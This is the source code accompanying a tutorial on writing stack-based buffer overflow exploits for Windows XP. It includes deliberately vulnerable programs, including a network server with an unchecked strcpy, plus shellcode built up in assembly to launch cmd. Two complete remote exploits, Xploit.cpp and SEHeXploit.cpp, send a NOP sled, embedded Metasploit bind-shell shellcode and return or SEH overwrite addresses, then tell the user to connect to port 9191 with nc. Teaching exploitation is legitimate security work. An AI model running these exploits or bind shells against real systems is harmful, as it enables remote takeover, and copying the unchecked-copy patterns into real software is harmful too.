Below is the source code that is used in "Writing Stack Based Overflows on Windows".

helloworld.cpp
==============

#include "stdafx.h"
int main(int argc, char* argv[])
{
  printf("Hello World!\n");
  return 0;
}

basicvuln.cpp
=============
// The example has been tested in Visual Studio 6.0 on 
// Windows XP (no Service Pack, it should work on 
// windows XP sp2 as well).

#include "stdafx.h"
#include <string.h>
void main()
{
  char var[10];
  strcpy( var, "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH\n" );
  printf( var );
}

basichacked.cpp
===============
// Perl will be used to build the command line argument.
//basichacked.cpp

#include "stdafx.h"
#include "string.h"
#include "stdlib.h"

//Function copy performs a copy into variable var and exits.
int copy(char* input)
{
  char var[20];
  strcpy (var, input);
  return 0;
}

// Function hacked prints out a string to the console, is not called
// anywhere and note it exits using exit function, which exits the
// whole program, not just the function hacked.

int hacked(void)
{
  printf("Can you see me now ?\n");
  exit(0);
}

int main(int argc, char* argv[])
{  
// commandline arguments are provided to the executable
if(argc < 2)
  {
    printf("Usage: %s <string>\r\n", argv[0]);
    printf("written by Nish[a-t]securitycompass.com");
    exit(1);
  }  
  //prints the address of function hacked onto the console.
  printf("Address of function: 0x%08x\n", hacked);   
  //passes argument 1 to the function copy.
  copy(argv[1]);
  return 0;
}

basicxploit.pl
==============
$arg = "AAAAABBBBBCCCCCDDDDDEEEE"."\x0f\x10\x40";
$cmd = "./basichacked.exe ".$arg;
system($cmd);


sleep.cpp
==========
// sleep.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include "Windows.h"
//this has been written in visual studio .NET, this can be written in VS 6 as well.
void main()
{
  Sleep(99999999);
}


sleepasm.cpp
=============
// sleepasm.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "Windows.h"

void main()
{
  __asm
  {  
    push 99999999
    mov eax, 0x77E61BE6
    call eax
  }  
}

cmnd.cpp
========
// cmnd.cpp : Defines the entry point for the console application.
// Executes cmd and opens a command prompt.

#include "stdafx.h"
#include "Windows.h"
#include "stdlib.h"

void main()
{
  char var[4];
  var[0]='c';
  var[1]='m';
  var[2]='d';
  var[3]='\0'; //will cause problems as we can't use 00 to execute.
  WinExec(var,1);
  exit(1);
}



cmdasmdrty.cpp
=========
// cmndasmdrty.cpp : Defines the entry point for the console application.                                                                 
//                                                                                                                                    
                                                                                                                                      
#include "stdafx.h"                                                                                                                           

void main()                                                                                                                                   
{                                                                                                                                             
  __asm                                                                                                                                 
  {                                                                                                                                     
  mov         byte ptr [ebp-4],63h //var[0]='c'                                                                                 
  mov         byte ptr [ebp-3],6Dh //var[1]='m'                                                                                 
  mov         byte ptr [ebp-2],64h //var[2]='d'                                                                                 
  mov         byte ptr [ebp-1],0   //var[3]='\0' 
  //will cause problems as we can't use 00, it will terminate the //
  //entire shellcode.
  //code for WinExec(var, 1);                                                                                                   
  //mov         esi,esp, we do not really need this instruction 
  //to execute.                                                    
  push        1    //argument that is being passed to winexec                                                            
  lea         eax,[ebp-4]                                                                                                       
  push        eax  //puting the value onto the stack                                                                             
  mov eax, 0x77e684C6  //call        dword ptr [__imp__WinExec@8 (0042413c)]                                                 
  call eax                                                                                                                      
  //cmp         esi,esp we do not really need this instruction to execute.                                                      
  //call        __chkesp (00401250) we do not really need this instruction to execute.                                          
  //code for exit(1);                                                                                                           
  push        1                                                                                                                 
  mov eax, 0x77E75CB5                                                                                                           
  call eax                                                                                                                      
}                                                                                                                                     
}                                                                                                                                             



cmndasm.cpp 
===========

// cmndasm.cpp : Defines the entry point for the console application.

#include "stdafx.h"
void main()
{
  __asm
  {
    mov esp, ebp
    xor esi,esi
    push esi
    
    mov         byte ptr [ebp-4],63h 
    mov         byte ptr [ebp-3],6Dh 
    mov         byte ptr [ebp-2],64h 
    //mov         byte ptr [ebp-1],0   
    
    push 1  
    lea         eax,[ebp-4]  
    push        eax  
    
    mov eax, 0x77e684C6
    call eax
    
    push 1   
    
    mov eax, 0x77E75CB5              
    call eax                                                                                                                
  }
}



cmndasmxor.cpp
==============
// cmndasmxor.cpp : Defines the entry point for the console application.
#include "stdafx.h"

void main()
  {
  __asm
  {
    mov esp, ebp
    xor esi,esi
    push esi
    //original cmd\0    
    //    mov         byte ptr [ebp-4],63h 
    //    mov         byte ptr [ebp-3],6Dh 
    //    mov         byte ptr [ebp-2],64h 
    //    mov         byte ptr [ebp-1],0   
    
    mov ecx, 0x777777ff
    mov ebx, 0x77131A9C
    xor ecx, ebx
    //resulting XOR value (0x00646d63) is stored in ecx.
    mov  [ebp - 4], ecx
    //the resulting value cmd\0 will be pushed onto the stack.
    push 1  
    lea         eax,[ebp-4]  
    push        eax  
    mov eax, 0x77e684C6
    call eax
    push 1   //push 1 to exit
    mov eax, 0x77E75CB5              
    call eax                                                                                                                
  }
}


server.cpp 
==========

/* server.cpp : Defines the entry point for the console application.
Written in VC 6.0*/

#include "stdafx.h"
#include <iostream>
#include <winsock.h>
#include <windows.h>

//load windows socket 
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0


void pr( char *str)
{  
  char buf[2000]="";  
  strcpy(buf,str);
}
void sError(char *str)
{
  MessageBox (NULL, str, "socket Error" ,MB_OK);
  WSACleanup();
}


int main(int argc, char **argv)
{

if ( argc != 2)
{
  printf("\nUsage: %s <Port Number to listen on.>\n", argv[0]);
  return SS_ERROR;
}

WORD sockVersion;
WSADATA wsaData;

int rVal;
char Message[5000]="";
char buf[2000]="";  

u_short LocalPort;
LocalPort = atoi(argv[1]);

//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

if(serverSocket == INVALID_SOCKET)
{
  sError("Failed socket()");
  return SS_ERROR;
}

SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
  sError("Failed bind()");
  WSACleanup();
  return SS_ERROR;
}

//get socket to listen 
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
  sError("Failed listen()");
  WSACleanup();
  return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
  sError("Failed accept()");
  WSACleanup();
  return SS_ERROR;
} 

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR ) 
{
  //receive the data that is being sent by the client max limit to 5000 bytes.
  bytesRecv = recv( clientSocket, Message, 5000, 0 );
  
  if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) 
  {
    printf( "\nConnection Closed.\n");
    break;
  }
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}


client.cpp
===========
/* client.cpp : Defines the entry point for the console application.
Written in VC 6.0*/
create a TCP socket (client socket)
create a hostent structure 
resolve ip address
if successful
then
create another socket with socket_in (essentially server socket)
copy the contents of the hostent into new socket

*/

#include "stdafx.h"
#include <iostream>
#include <winsock.h>

//load windows socket 
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define CS_ERROR 1
#define CS_OK 0


//Usage Function
void usage(char *name)
{
  printf("usage: %s <Server Host> <Server Port> <Message To Be Sent>\n\n", name);
}

//Error Function
void sError(char *str)
{
  MessageBox(NULL, str, "Client Error" ,MB_OK);
  WSACleanup();
}


int main(int argc, char **argv)
{
  //Declarations
  
  char* serverIP;
  unsigned short serverPort;
  
  
  WORD version ;
  version = MAKEWORD(1,1);
  WSADATA wsaData;
  
  
  if(argc != 4)
  {
    usage(argv[0]);
    return  CS_ERROR;
  }
  
  //wsock32 initialized/started up for usage
  WSAStartup(version,&wsaData);
  
  //Create Socket
  SOCKET clientSocket;
  clientSocket = socket(AF_INET, SOCK_STREAM, 0);
  
  if(clientSocket == INVALID_SOCKET)
  {  
    sError("Socket error!");
    closesocket(clientSocket);
    WSACleanup();        
    return CS_ERROR;
  }
  
  
  struct hostent  *srv_ptr;
  
  //gethostbyname returns a pointer to hostent( a structure which store information about a host)
  
  srv_ptr = gethostbyname(argv[1]);
  
  if( srv_ptr == NULL )
  {
    sError("Can't resolve name.");
    WSACleanup();
    return CS_ERROR;
  }
  struct sockaddr_in serverSocket;
  serverIP = inet_ntoa (*(struct in_addr *)*srv_ptr->h_addr_list);
  serverPort = htons(u_short(atoi(argv[2])));
  
  serverSocket.sin_family = AF_INET;
  serverSocket.sin_addr.s_addr = inet_addr(serverIP);
  serverSocket.sin_port = serverPort;
  
  //Attempt to connect to remote host
  if (connect(clientSocket, (struct sockaddr *)&serverSocket, sizeof(serverSocket)))
  {
    sError("Connection error.");
    return CS_ERROR;
  }
  // Send data on successful connection, note no limit on argv[3]
  send(clientSocket, argv[3], strlen(argv[3]), 0);
  
  printf("\nMessage Sent\nConnection Closed.\n"); 
  closesocket(clientSocket);
  WSACleanup();
  return CS_OK;
}

crashserver.pl
==============

#perl program to crash the server.
$arg= "A"x 2000 ."BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ";
# EIP = CCCC and EBP = BBBB
# note ip address.
$cmd = "client.exe 127.0.0.1 9999 ".$arg;
system($cmd);


Xploit.cpp
==========
/*Xploit.cpp : Defines the entry point for the console application.
port listner starts on port 9191
Shell code has been generated from metasploit.com website.

create a TCP socket (client socket)
create a hostent structure 
resolve ip address
if successful
then
create another socket with socket_in (essentially server socket)
copy the contents of the hostent into new socket
*/

#include "stdafx.h"
#pragma comment(lib, "wsock32.lib")
#include <iostream>
#include <windows.h>
#include <winsock.h>

#define NOP 0x90
#define BUFSIZE 3500

#define CS_ERROR 1
#define CS_OK 0

void usage(char *name)
{     
  printf("written by Nish Bhalla <Nish[a-t]securitycompass.com>  \nusage: %s <Server Host> <Server Port>\nAfter running the exploit nc -vv <Remote IP> 9191\n", name);
}
void sError(char *str)
{
  MessageBox (NULL, str, "socket Error" ,MB_OK);
  WSACleanup();
}
int main(int argc, char **argv)
{
  /* win32_bind - Encoded Shellcode [\x00]
  [ EXITFUNC=process LPORT=9191 Size=399 ] 
  http://metasploit.com 
  shellcode generated from metasploit.com, it encodes \x00*/
  unsigned char reverseshell[] = 
  "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x12\x56"
  "\xf1\x86\x83\xeb\xfc\xe2\xf4\xee\xbe\xa7\x86\x12\x56\xa2\xd3\x44"
  "\x01\x7a\xea\x36\x4e\x7a\xc3\x2e\xdd\xa5\x83\x6a\x57\x1b\x0d\x58"
  "\x4e\x7a\xdc\x32\x57\x1a\x65\x20\x1f\x7a\xb2\x99\x57\x1f\xb7\xed"
  "\xaa\xc0\x46\xbe\x6e\x11\xf2\x15\x97\x3e\x8b\x13\x91\x1a\x74\x29"
  "\x2a\xd5\x92\x67\xb7\x7a\xdc\x36\x57\x1a\xe0\x99\x5a\xba\x0d\x48"
  "\x4a\xf0\x6d\x99\x52\x7a\x87\xfa\xbd\xf3\xb7\xd2\x09\xaf\xdb\x49"
  "\x94\xf9\x86\x4c\x3c\xc1\xdf\x76\xdd\xe8\x0d\x49\x5a\x7a\xdd\x0e"
  "\xdd\xea\x0d\x49\x5e\xa2\xee\x9c\x18\xff\x6a\xed\x80\x78\x41\x93"
  "\xba\xf1\x87\x12\x56\xa6\xd0\x41\xdf\x14\x6e\x35\x56\xf1\x86\x82"
  "\x57\xf1\x86\xa4\x4f\xe9\x61\xb6\x4f\x81\x6f\xf7\x1f\x77\xcf\xb6"
  "\x4c\x81\x41\xb6\xfb\xdf\x6f\xcb\x5f\x04\x2b\xd9\xbb\x0d\xbd\x45"
  "\x05\xc3\xd9\x21\x64\xf1\xdd\x9f\x1d\xd1\xd7\xed\x81\x78\x59\x9b"
  "\x95\x7c\xf3\x06\x3c\xf6\xdf\x43\x05\x0e\xb2\x9d\xa9\xa4\x82\x4b"
  "\xdf\xf5\x08\xf0\xa4\xda\xa1\x46\xa9\xc6\x79\x47\x66\xc0\x46\x42"
  "\x06\xa1\xd6\x52\x06\xb1\xd6\xed\x03\xdd\x0f\xd5\x67\x2a\xd5\x41"
  "\x3e\xf3\x86\x31\xb1\x78\x66\x78\x46\xa1\xd1\xed\x03\xd5\xd5\x45"
  "\xa9\xa4\xae\x41\x02\xa6\x79\x47\x76\x78\x41\x7a\x15\xbc\xc2\x12"
  "\xdf\x12\x01\xe8\x67\x31\x0b\x6e\x72\x5d\xec\x07\x0f\x02\x2d\x95"
  "\xac\x72\x6a\x46\x90\xb5\xa2\x02\x12\x97\x41\x56\x72\xcd\x87\x13"
  "\xdf\x8d\xa2\x5a\xdf\x8d\xa2\x5e\xdf\x8d\xa2\x42\xdb\xb5\xa2\x02"
  "\x02\xa1\xd7\x43\x07\xb0\xd7\x5b\x07\xa0\xd5\x43\xa9\x84\x86\x7a"
  "\x24\x0f\x35\x04\xa9\xa4\x82\xed\x86\x78\x60\xed\x23\xf1\xee\xbf"
  "\x8f\xf4\x48\xed\x03\xf5\x0f\xd1\x3c\x0e\x79\x24\xa9\x22\x79\x67"
  "\x56\x99\xf8\xca\xb4\x82\x79\x47\x52\xc0\x5d\x41\xa9\x21\x86";
  
  
  //Declarations
  //LPHOSTENT serverSocket;
  
  char* serverIP;
  
  int tout = 20000;
  int rcount = 0;
  
  unsigned short serverPort;
  char MessageToBeSent[BUFSIZE] = {""};
  
  WORD version ;
  version = MAKEWORD(1,1);
  WSADATA wsaData;
  
  // jmp ESP for windows xp sp2
  //char jmpcode[]="\xED\x1E\x94\x7C";
  
  // address for jmp EDI for windows xp (NO SP)
  //77EA855E jmp edi  
  char jmpcode[]="\x5E\x85\xEA\x77";
  
  if(argc != 3)
  {
    usage(argv[0]);
    return  CS_ERROR;
  }
  
  //wsock32 initialized/started up for usage
  WSAStartup(version,&wsaData);
  
  SOCKET clientSocket;
  clientSocket = socket(AF_INET, SOCK_STREAM, 0);
  
  if(clientSocket == INVALID_SOCKET)
  {  
    printf("Socket error!\r\n");
    closesocket(clientSocket);
    WSACleanup();        
    return CS_ERROR;
  }
  
  //gethostbyname returns a pointer to hostent( a structure which store information about a host)
  struct hostent  *srv_ptr;
  srv_ptr = gethostbyname( argv[1]);
  
  if( srv_ptr == NULL )
  {
    printf("Can't resolve name, %s.\n", argv[1]);
    WSACleanup();
    return CS_ERROR;
  }
  
  struct sockaddr_in serverSocket;
  
  serverIP = inet_ntoa (*(struct in_addr *)*srv_ptr->h_addr_list);
  serverPort = htons(u_short(atoi(argv[2])));
  
  serverSocket.sin_family = AF_INET;
  serverSocket.sin_addr.s_addr = inet_addr(serverIP);
  serverSocket.sin_port = serverPort;
  
  //Attempt to connect to remote host
  if (connect(clientSocket, (struct sockaddr *)&serverSocket, sizeof(serverSocket)))
  {
      printf("\nConnection error.\n");
      return CS_ERROR;
  }
  
  memset( MessageToBeSent, NOP, BUFSIZE);
  
  memcpy( MessageToBeSent + 1200, reverseshell, sizeof(reverseshell)-1);
  memcpy( MessageToBeSent + 2004, jmpcode, sizeof(jmpcode)-1);
  
  
  
  // Send data on successful connection, note no limit on argv[3]
  
  send(clientSocket, MessageToBeSent, strlen(MessageToBeSent), 0);
  printf("\nMessage Sent\n"); 
  char rstring[1024]="";
  
  int bytesRecv = SOCKET_ERROR;
  
  //Following while loop, ensures all data has been sent successfully
  
  while( bytesRecv == SOCKET_ERROR ) 
  {
    bytesRecv = recv( clientSocket, rstring, sizeof(rstring), 0 );
    if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) 
    {
      printf( "\nConnection Closed.\n");
      break;
    }   
  }
  
  closesocket(clientSocket);
  WSACleanup();
  return CS_OK;
}


Errorgen.cpp
============
// ErrorGen.cpp : Defines the entry point for the console application.
#include "stdafx.h"

int main()
{
  int a, b;
  a= 4 % 2;
  b= 4 / a;
}


SEHeXploit.cpp
===============
//Exploit for the same server application but the exploit uses the SEH instead of overwriting return code.
//SEHeXploit.cpp : Defines the entry point for the console application.
//port listner starts on port 9191
//Shell code has been generated from metasploit.com website.


#include "stdafx.h"
#pragma comment(lib, "wsock32.lib")
#include <iostream>
#include <windows.h>
#include <winsock.h>

#define NOP 0x90
#define CS_ERROR 1
#define CS_OK 0
#define BUFSIZE 3500

void usage(char *name)
{     printf("written by Nish Bhalla <Nish[a-t]securitycompass.com>  \nusage: %s <Server Host> <Server Port>\nAfter running the exploit nc -vv <Remote IP> 9191\n", name);
}


void sError(char *str)
{
  MessageBox (NULL, str, "socket Error" ,MB_OK);
  WSACleanup();
}


int main(int argc, char **argv)
{
    
      
  /* win32_bind - Encoded Shellcode [\x00] [ EXITFUNC=process LPORT=9191 Size=399 ] http://metasploit.com */
  unsigned char reverseshell[] = 
  "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x12\x56"
  "\xf1\x86\x83\xeb\xfc\xe2\xf4\xee\xbe\xa7\x86\x12\x56\xa2\xd3\x44"
  "\x01\x7a\xea\x36\x4e\x7a\xc3\x2e\xdd\xa5\x83\x6a\x57\x1b\x0d\x58"
  "\x4e\x7a\xdc\x32\x57\x1a\x65\x20\x1f\x7a\xb2\x99\x57\x1f\xb7\xed"
  "\xaa\xc0\x46\xbe\x6e\x11\xf2\x15\x97\x3e\x8b\x13\x91\x1a\x74\x29"
  "\x2a\xd5\x92\x67\xb7\x7a\xdc\x36\x57\x1a\xe0\x99\x5a\xba\x0d\x48"
  "\x4a\xf0\x6d\x99\x52\x7a\x87\xfa\xbd\xf3\xb7\xd2\x09\xaf\xdb\x49"
  "\x94\xf9\x86\x4c\x3c\xc1\xdf\x76\xdd\xe8\x0d\x49\x5a\x7a\xdd\x0e"
  "\xdd\xea\x0d\x49\x5e\xa2\xee\x9c\x18\xff\x6a\xed\x80\x78\x41\x93"
  "\xba\xf1\x87\x12\x56\xa6\xd0\x41\xdf\x14\x6e\x35\x56\xf1\x86\x82"
  "\x57\xf1\x86\xa4\x4f\xe9\x61\xb6\x4f\x81\x6f\xf7\x1f\x77\xcf\xb6"
  "\x4c\x81\x41\xb6\xfb\xdf\x6f\xcb\x5f\x04\x2b\xd9\xbb\x0d\xbd\x45"
  "\x05\xc3\xd9\x21\x64\xf1\xdd\x9f\x1d\xd1\xd7\xed\x81\x78\x59\x9b"
  "\x95\x7c\xf3\x06\x3c\xf6\xdf\x43\x05\x0e\xb2\x9d\xa9\xa4\x82\x4b"
  "\xdf\xf5\x08\xf0\xa4\xda\xa1\x46\xa9\xc6\x79\x47\x66\xc0\x46\x42"
  "\x06\xa1\xd6\x52\x06\xb1\xd6\xed\x03\xdd\x0f\xd5\x67\x2a\xd5\x41"
  "\x3e\xf3\x86\x31\xb1\x78\x66\x78\x46\xa1\xd1\xed\x03\xd5\xd5\x45"
  "\xa9\xa4\xae\x41\x02\xa6\x79\x47\x76\x78\x41\x7a\x15\xbc\xc2\x12"
  "\xdf\x12\x01\xe8\x67\x31\x0b\x6e\x72\x5d\xec\x07\x0f\x02\x2d\x95"
  "\xac\x72\x6a\x46\x90\xb5\xa2\x02\x12\x97\x41\x56\x72\xcd\x87\x13"
  "\xdf\x8d\xa2\x5a\xdf\x8d\xa2\x5e\xdf\x8d\xa2\x42\xdb\xb5\xa2\x02"
  "\x02\xa1\xd7\x43\x07\xb0\xd7\x5b\x07\xa0\xd5\x43\xa9\x84\x86\x7a"
  "\x24\x0f\x35\x04\xa9\xa4\x82\xed\x86\x78\x60\xed\x23\xf1\xee\xbf"
  "\x8f\xf4\x48\xed\x03\xf5\x0f\xd1\x3c\x0e\x79\x24\xa9\x22\x79\x67"
  "\x56\x99\xf8\xca\xb4\x82\x79\x47\x52\xc0\x5d\x41\xa9\x21\x86";
  
      
  //Declarations
  char* serverIP;
    
  int tout = 20000;
  int rcount = 0;
    
  unsigned short serverPort;
  char MessageToBeSent[BUFSIZE] = {""};
    
  WORD version ;
  version = MAKEWORD(1,1);
  WSADATA wsaData;
    
  char jmpcode[]= "\xe7\xc9\xe7\x77\xFB\x7B\xAB\x71\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";
  
  /*Breaking the JMP CODE array Down
  \xe7\xc9\xe7\x77 
  Address for the error handler routine which returns to the line below
  \xFB\x7B\xAB\x71  JMP ESP
  Address for JMP ESP which points to the next line
  \x89\xE1    mov ecx, esp   
  ESP is 0012E220
  \xFE\xCD    DEC CH
  Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012E120
  \xFE\xCD    DEC CH
  Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012E020
  \xFE\xCD    DEC CH
  Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012DF20
  \xFE\xCD    DEC CH
  Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012DE20
  \x89\xCC    mov esp, ecx 
  Move the address stored in ECX to ESP.
  \xFF\xE4";  JMP ESP, which now points to 0x0012DE20 
  0x0012DE20 is just before our shellcode
  */
  //Functions
  if(argc != 3)
  {
    usage(argv[0]);
    return  CS_ERROR;
  }
  WSAStartup(version,&wsaData);
  SOCKET clientSocket;
  clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    
  if(clientSocket == INVALID_SOCKET)
    {  
      printf("Socket error!\r\n");
      closesocket(clientSocket);
      WSACleanup();        
      return CS_ERROR;
    }
    
    // Name resolution and assigning to IP
  
  struct hostent  *srv_ptr;
  srv_ptr = gethostbyname( argv[1]);
  
  if( srv_ptr == NULL )
    {
      printf("Can't resolve name, %s.\n", argv[1]);
      WSACleanup();
      return CS_ERROR;
    }
  
  
  struct sockaddr_in serverSocket;
  
  serverIP = inet_ntoa (*(struct in_addr *)*srv_ptr->h_addr_list);
  serverPort = htons(u_short(atoi(argv[2])));
  
  serverSocket.sin_family = AF_INET;
  serverSocket.sin_addr.s_addr = inet_addr(serverIP);
  serverSocket.sin_port = serverPort;
  
    
  if (connect(clientSocket, (struct sockaddr *)&serverSocket, sizeof(serverSocket)))
  {
      printf("\nConnection error.\n");
      return CS_ERROR;
  }
  
  memset( MessageToBeSent, NOP, BUFSIZE);
  
  memcpy( MessageToBeSent + 1200, reverseshell, sizeof(reverseshell)-1);
  memcpy( MessageToBeSent + 2000, jmpcode, sizeof(jmpcode)-1);
  // Sending
    
  send(clientSocket, MessageToBeSent, strlen(MessageToBeSent), 0);
  printf("\nMessage Sent\n"); 
  char rstring[1024]="";
  
  int bytesRecv = SOCKET_ERROR;
  while( bytesRecv == SOCKET_ERROR ) 
  {
    bytesRecv = recv( clientSocket, rstring, sizeof(rstring), 0 );
    if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) 
      {
        printf( "\nConnection Closed.\n");
        break;
      }   
  }
  closesocket(clientSocket);
  WSACleanup();
  return CS_OK;
}